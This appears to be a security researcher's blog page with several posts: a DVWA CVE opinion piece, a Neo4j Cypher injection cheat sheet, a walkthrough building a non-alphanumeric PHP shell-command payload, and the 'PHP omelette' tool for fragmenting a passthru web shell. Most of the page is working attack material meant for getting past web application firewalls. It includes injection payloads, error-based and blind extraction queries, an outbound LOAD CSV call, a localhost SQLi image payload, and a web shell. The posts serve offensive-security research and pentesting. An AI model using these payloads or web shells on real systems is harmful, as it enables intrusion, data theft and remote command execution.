Just Another Hacker
Author's avatar

DVWA CVE musings

Recently infosec social media was bubbling over with regards to CVE-2023-39848 (SQL injection in DVWA). One thing I find somewhat amusing is the various strong opinions people have regarding CVE identifiers that are often self-informed, such as assigning importance to CVE identifiers. If you’re going to have a CVE hot take on social media, I would urge you to ensure your argument is still solid if you replaced bug/CVE-id with house/street-number. So instead of saying something like: That house is so stupid, why does it have a street number? you might rephrase your argument better. With that in mind, let’s take some time to look at what happened and think about the problem this represents.

Some background first. The CVE identifiers are issued by Numbering Authorities (CNA) and ultimately managed through MITRE’s CVE Program. The CVE program mission states:

The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities

The rules that govern assignment of CVE identifiers by a CNA are public and can be accessed at: https://www.cve.org/ResourcesSupport/AllResources/CNARules. One item that may surprise you is section 7.1:

The CVE Program does not adhere to a strict definition of a vulnerability. For the most part, CNAs are left to their own discretion to determine whether something is a vulnerability.

Also relevant is section C2, which is one of the reasons it’s not really a big deal to have a CVE identifier issued. Rejecting CVE ids are part of the formal process and not a rare occurrence.

There are many reasons why a CVE ID may be rejected, such as: further research determines the issue is not a vulnerability

So, with the understanding that CVE assignments is a process that allows for correcting mistakes. The potential tracking of vulnerabilities in vulnerable apps still presents an opportunity to think about the what, why and how of issuing ID numbers for vulnerabilities. Here are some aspects of this assignment that I found interesting:

Is it a vulnerability?

  • Yes, the entire point of DVWA is to have vulnerabilities.

Could it get you owned?

  • Yes, people run DVWA on the internet or on localhost. Many of the vulnerabilities contained within DVWA could get you compromised from a website if it’s running on localhost via something like <img src="http://localhost/vulnerabilities/sql/?id='+union+select+...into+outfile...">
  • If someone in your organisation installed DVWA to learn and forgot about it, would you know?
  • Would your vulnerability scanner detect it?

Was it publicly disclosed?

But it’s intentional!

  • If it was an unintentional vulnerability in DVWA it should get a CVE?
  • Is this argument significantly different from its a feature not a bug?
  • Can the same argument be made by a large software vendor to avoid having a CVE identifier assigned for their product?

CTF targets shouldn’t receive CVE identifiers!

  • Is there any value to tracking vulnerabilities in CTF targets?
  • The CVE-2023-39848 identifier was updated to rejected status
  • What about pwn2own or realworldctf targets?

Why does CVE assignments matter?

  • Compared to other vulnerability tracking schemes?
  • Anyone can get an OVE id simply by clicking a button on the website
  • Anyone can issue their own tracking id, such as JAHx101

By now you have hopefully discarded any preconceived notions around CVE ids being more than a tracking number for a vulnerability. Like how a street number or tracking number for an online order works. Hopefully understanding the many complexities of vulnerability tracking you might understand why broad approaches don’t work. So the next time you see a CVE assignment you disagree with perhaps you can trust in it the rejection process and complain about the increasing volume of fake exploits on exploit-db instead.

Author's avatar

Neo4j (Cypher graph query language) injection

I recently came across an injection issue in an app using the Neo4j database for storage. As I had not come across this before and there doesn’t seem to be many posts covering this I thought I would compile a list of syntax that can accomplish most of the common tasks when exploiting query based injection. I used the free sandbox from Neo4j to test these: https://sandbox.neo4j.com/

A simple query should look something like this:

MATCH (a:Movie {title: 'Johnny Mnemonic'}) RETURN a

or

MATCH (a:Movie) WHERE a.title = "Johnny Mnemonic" RETURN a

or

MATCH (a:Movie) RETURN a LIMIT 20

or

MATCH (a:Movie) RETURN a ORDER BY title

Detection

Detection of a vulnerable Neo4j query is mostly similar to detecting SQL injection, try using any of the following payloads in the example queries above:

  • "
  • )
  • int-int (ie: 12-1)
  • int/0 (ie: 12/0)
  • prepend a string like zxlck.

Payload Johnny 'Mnemonic:

MATCH (a:Movie {title: 'Johnny 'Mnemonic'})
RETURN a

Yields the following:

Invalid input 'Mnemonic': expected
...
(line 1, column 33 (offset: 32))
"MATCH (a:Movie {title: 'Johnny 'Mnemonic'})"

Exploitation

We can inject the necesary characters to form valid syntax '})and then comment out the rest with //. Payload Johnny '}) // yields no error or matches:

MATCH (a:Movie {title: 'Johnny '}) //Mnemonic'})
RETURN a

List tables:

match(a) return distinct labels(a)

Injectable:

MATCH (n:Movie) where n.title = "abc injectect" return 123 as b union match (a) return distinct labels(a) as b //

Select databases:

CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName;

seems injectable:

match (a) where 1 < 2 CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName;

match (a) where "a" = "b" return "a" as dbName union CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName limit 1;

match (a) where "a" = "b" return "a" as dbName union CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN date(row.name) as dbName skip 2 limit 1;

Union

Like other database injection techniques we can also do union:

MATCH (n:Movie) RETURN n LIMIT 25 union all match (b:sysinfo) return b

With union both sides must match, which can be solved by inject a fixed return before the union:

match (b:Person) where b.name = '' return size("123") as test union match (a:Movie) return size(keys(a)[2]) as test limit 1

Error based injection

If error messages are enabled, most data can simply be dumped out by placing it inside the Date() function as it will fail to convert it to a date and error out the argument it received instead:

MATCH (a:Movie)
RETURN a ORDER BY a.title,Date(keys(a))

Blind exploitation

Neo4j does not have a time/sleep function, but we can still perform boolean blind injections Number of columns:

match (a) return size(keys(a)) limit 1

Length of column:

match (a) where a.title = '' or 4 = size('1234') return a limit 1

Length of first column:

match (a) return size(keys(a)[0]) limit 1

Length of table name:

match (b:Person) where b.name = '' return size("123") as test union match (a) return size(keys(a)) as test limit 1

If condition:

match (a:Movie) return a order by case 'a' when 'b' then a.title else a.name end

Substring/Char:

match (a) where a.title = 'injected' return 1 as test union match (b:Person) return substring(keys(b)[0],0,1) as test//'

Putting it together:

match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case substring(keys(b)[0],0,1) when "a" then 2 else 3 end as test//'

match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case substring(keys(b)[0],0,1) when "n" then 2 else 3 end as test//'

match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case size(keys(b)[0]) when 1 then 2 else 3 end as test//'

match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case size(keys(b)[0]) when 4 then 2 else 3 end as test//'

OOB

This appears to be the best documented technique, I didn’t spot any easy way to exfil data or environment variables and it does not appear to relay NTLM, but I didn’t investigate that deeply.

LOAD CSV FROM 'https://domain/file.csv' AS line
CREATE (:Artist {name: line[1], year: toInteger(line[2])})

Regex DoS?

Bonus issue, it may or may not work:

MATCH (p)
WHERE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" =~ '(..\*)*'
RETURN "pwnt"
Author's avatar

Generating non-alphanumeric PHP payloads

The other day I was fiddling with PHP on the command line and wondered how difficult it might be to write non-alphanumeric code in PHP as a potential way to bypass Web Application Firewalls. Something like a worse JSFuck, but for PHP!

As this is just an experiment I’ll be happy with a working example that can run shell commands, such as id.

The first step towards being able to do this is being able to generate strings or single characters using only non alphanumeric syntax. It would prove quite difficult to run the command id without the letters i and d.

NAN

My initial approach was to try to capture some kind of error message, and divide by zero seemed to work:

php -r 'var_dump(0/0);'
PHP Warning:  Division by zero in Command line code on line 1
float(NAN)

This can be converted to a string by concatenating it to an empty string:

php -r 'var_dump("".(0/0));'
PHP Warning:  Division by zero in Command line code on line 1
string(3) "NAN"

And the divide operation can be achieved without numbers by diving an uninitialized variable with itself:

php -r 'var_dump("".($_/$_));'
PHP Notice:  Undefined variable: _ in Command line code on line 1
PHP Notice:  Undefined variable: _ in Command line code on line 1
PHP Warning:  Division by zero in Command line code on line 1
string(3) "NAN"

More strings

Using more experimentation I was able to produce a few more values: NULL $_=--$__;var_dump($_); I was unable to convert this to a string however..

  • “Array”

    php -r '$_="".[];var_dump($_);'
  • “1”

    php -r '$_="".++$__;var_dump($_);'
  • “2”

    php -r '++$__;$_="".++$__;var_dump($_);'
  • …etc

Alphabet

Now that we have some strings and numbers we can leverage this to build a full alphabet. We can already access the individual characters from a string using array cells and numbers, which gives us ANary12345678890, but we still don’t have the required characters. We need to manipulate the ones we have to create additional ones. There are several PHP operators that are helpful for this, bitwise shifting, xor, or and and will let us craft the remaining ones. For example we can craft “O” via bitwise or of the “A” and “N’ from”NAN":

php -r '$a="NAN";$a=$a[0]|$a[1];var_dump($a);'
string(1) "O"

Expanding on this I used xor values to xor again and got the required characters for to command id:

“i”

php -r '$m="1"^"9";$a="a"^$m;var_dump($a);'

“d”

php -r '$m="1"^"4";$a="a"^$m;var_dump($a);'

Building a payload

Now that we have several building blocks we can start combining these into our final payload. I tried writing it in non-alphanumeric form directly at first, but it made tracking variables and making frequent changes difficult, so I opted to name variables properly and verify that it worked first, starting by making the i:

php -r '$one="".++$one;$four++;$four++;$four++;$nine=$four*$four;$nine="".$nine;$three=$four;$four="".++$four;$mod=$one^$nine;$arr="".[];$i=$arr[$three]^$mod;var_dump($i);'
PHP Notice:  Array to string conversion in Command line code on line 1
PHP Notice:  Undefined variable: one in Command line code on line 1
PHP Notice:  Undefined variable: four in Command line code on line 1
string(1) "i"

Next we can add the d and execute the command:

php -r '$one="".++$one;$four++;$four++;$four++;$nine=$four*$four;$nine="".$nine;$three=$four;$four="".++$four;$mod=$one^$nine;$arr="".[];$i=$arr[$three]^$mod;$mod=$one^$four;$d=$arr[$three]^$mod;$c=`$i$d`;print $c;'
PHP Notice:  Array to string conversion in Command line code on line 1
PHP Notice:  Undefined variable: one in Command line code on line 1
PHP Notice:  Undefined variable: four in Command line code on line 1
uid=1000(eldar) gid=1000(eldar) groups=1000(eldar),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

Then I spotted a way to shorten the code a tiny bit by assigning and accessing the a char rather than the array cell every time:

php -r '$one="".++$one;$four++;$four++;$four++;$nine=$four*$four;$nine="".$nine;$three=$four;$four="".++$four;$mod=$one^$nine;$a="".[];$a=$a[$three];$i=$a^$mod;$mod=$one^$four;$d=$a^$mod;$c=`$i$d`;print $c;'

I then proceeded to reduce the number of unique variables somewhat, this makes the conversion to non-alphanumeric a little easier:

php -r '$one="".++$one;$four++;$four++;$four++;$nine=$four*$four;$nine="".$nine;$three=$four;$four="".++$four;$mod=$one^$nine;$a="".[];$a=$a[$three];$three=$a^$mod;$mod=$one^$four;$one=$a^$mod;$four=`$three$one`;print $four;'

In order to reduce the payload length I counted the occurrences of each unique variable, to make the most frequent variable have the shortest non-alphanumeric name.

  • one - 6
  • three - 4
  • four - 11
  • etc..

then replace four with _, one with __ and so on. Which gives us the final version:

$__="".++$__;$_++;$_++;$_++;$_____=$_*$_;$_____="".$_____;$____=$_;$_="".++$_;$______=$__^$_____;$___="".[];$___=$___[$____];$____=$___^$______;$______=$__^$_;$__=$___^$______;$_=`$____$__`;print $_;

The print statement is just there to prove that it worked and would not be part of the payload as print (and the space?) is alphanumeric. In conclusion I think there is lots of room for improvements like optimization of alphabet generation and variable reuse for more compact payloads, but I was able to make it work and thats enough for me.

Author's avatar

PHP omelette, code fragmentation for scripting languages

Code fragmentation is not exactly a new technique, when dealing with binary exploitation, techniques like egg hunter and omelette refers to various ways to bootstrap a larger payload from a smaller one. However when I needed to bypass a modern WAF on a pentest where I could inject a user controlled value into a log file which could then be executed via LFI I came up with this technique to fragment the payload in a way that it is fragmented, but still executes as if it was consecutive function calls. I was waiting to release this at a future conference talk, but as Robin recently wrote a blog post using a similar technique to execute fragmented javascript I though the time was right for releasing it now.

Concept

The broad concept is:

  1. Everything inside the <?php ?> tags is code
  2. Everything inside the /* */ multi line comments are ignored
  3. PHP parsing has some flexibility

The preferred use of this is to inject a small stager payload, but bigger files could be transformed as well.

The steps are simple enough that they can be performed manually:

  1. Add comment after all opening tags
  2. Add comment before all closing tags
  3. Add comments before and after semi colons
  4. Add comment after comma
  5. Add comments before and after opening and closing pharanteses
  6. Remove duplicate comments
  7. Insert new line before each closing multi line comment
  8. Remove empty lines
  ./omelette '<?=passthru($_GET[cmd]);?>'

         _            _   _         _            _             _          _          _            _
        /\ \         /\_\/\_\ _    /\ \         _\ \          /\ \       /\ \       /\ \         /\ \
       /  \ \       / / / / //\_\ /  \ \       /\__ \        /  \ \      \_\ \      \_\ \       /  \ \
      / /\ \ \     /\ \/ \ \/ / // /\ \ \     / /_ \_\      / /\ \ \     /\__ \     /\__ \     / /\ \ \
     / / /\ \ \   /  \____\__/ // / /\ \_\   / / /\/_/     / / /\ \_\   / /_ \ \   / /_ \ \   / / /\ \_\
    / / /  \ \_\ / /\/________// /_/_ \/_/  / / /         / /_/_ \/_/  / / /\ \ \ / / /\ \ \ / /_/_ \/_/
   / / /   / / // / /\/_// / // /____/\    / / /         / /____/\    / / /  \/_// / /  \/_// /____/\
  / / /   / / // / /    / / // /\____\/   / / / ____    / /\____\/   / / /      / / /      / /\____\/
 / / /___/ / // / /    / / // / /______  / /_/_/ ___/\ / / /______  / / /      / / /      / / /______
/ / /____\/ / \/_/    / / // / /_______\/_______/\__\// / /_______\/_/ /      /_/ /      / / /_______\
\/_________/          \/_/ \/__________/\_______\/    \/__________/\_\/       \_\/       \/__________/

============================================================================[justanotherhacker.com]===
<?= /*
*/passthru/*
*/(/*
*/$_GET[cmd]/*
*/)/*
*/;/*
*/?>

Or if fragmenting code from a file:

./omelette "$(cat t/shell3.php)" > plate

The various scripts to fragment and inject the code can be found at: https://github.com/wireghoul/php-omelette. While aimed at PHP the generic methods outlined above can be applied to many languages, including javascript, C/C++ and others.

Author's avatar

Announcing safelity

Safelity is a proof of concept PHP library for secure coding. It was released on github a while ago, but formally introduced as part of my presentation “Codified security”, presented at GIDS today. It differs from traditional secure coding concepts in that it aims to make safe code visually identifiable when reading and writing code. But also make it hard to use in an unsafe manner and allow easy auditing of code written with the library. Unfortunately it is a limited functionality library, but I think it illustrates that you can make secure coding about writing secure code as opposed to trying to turn great developers into security experts.

This is predominantly inspired by Joel on software’s post about making wrong code look wrong https://www.joelonsoftware.com/2005/05/11/making-wrong-code-look-wrong/ and the clever engineering that makes parameterized queries/prepared statements very secure and simple to use.

You can find the code on https://github.com/wireghoul/safelity, the talk is being recorded, but may only be available on the conference website.

Author's avatar

The new new

It’s been a while since the last revamp, but I decided to renovate the blog. All of the old content has been moved to http://archive.justanotherhacker.com. I stuck with the notion of a static site generator, and wrote my own with a little inspiration from Bashyll and Roman Zolotarev’s ssg. The design is based on PureCSS, a CSS grid layout system similar to bootstrap without the need for JavaScript.

There are a few upcoming project releases so check back soon!

graudit

Static source code analysis tool for finding vulnerabilities in source code.

htshells

Self contained attacks against per directory configuration in web servers.

PHP omelette

Code obfuscation tool for bypassing web application firewalls.

More

All of the project information on one page!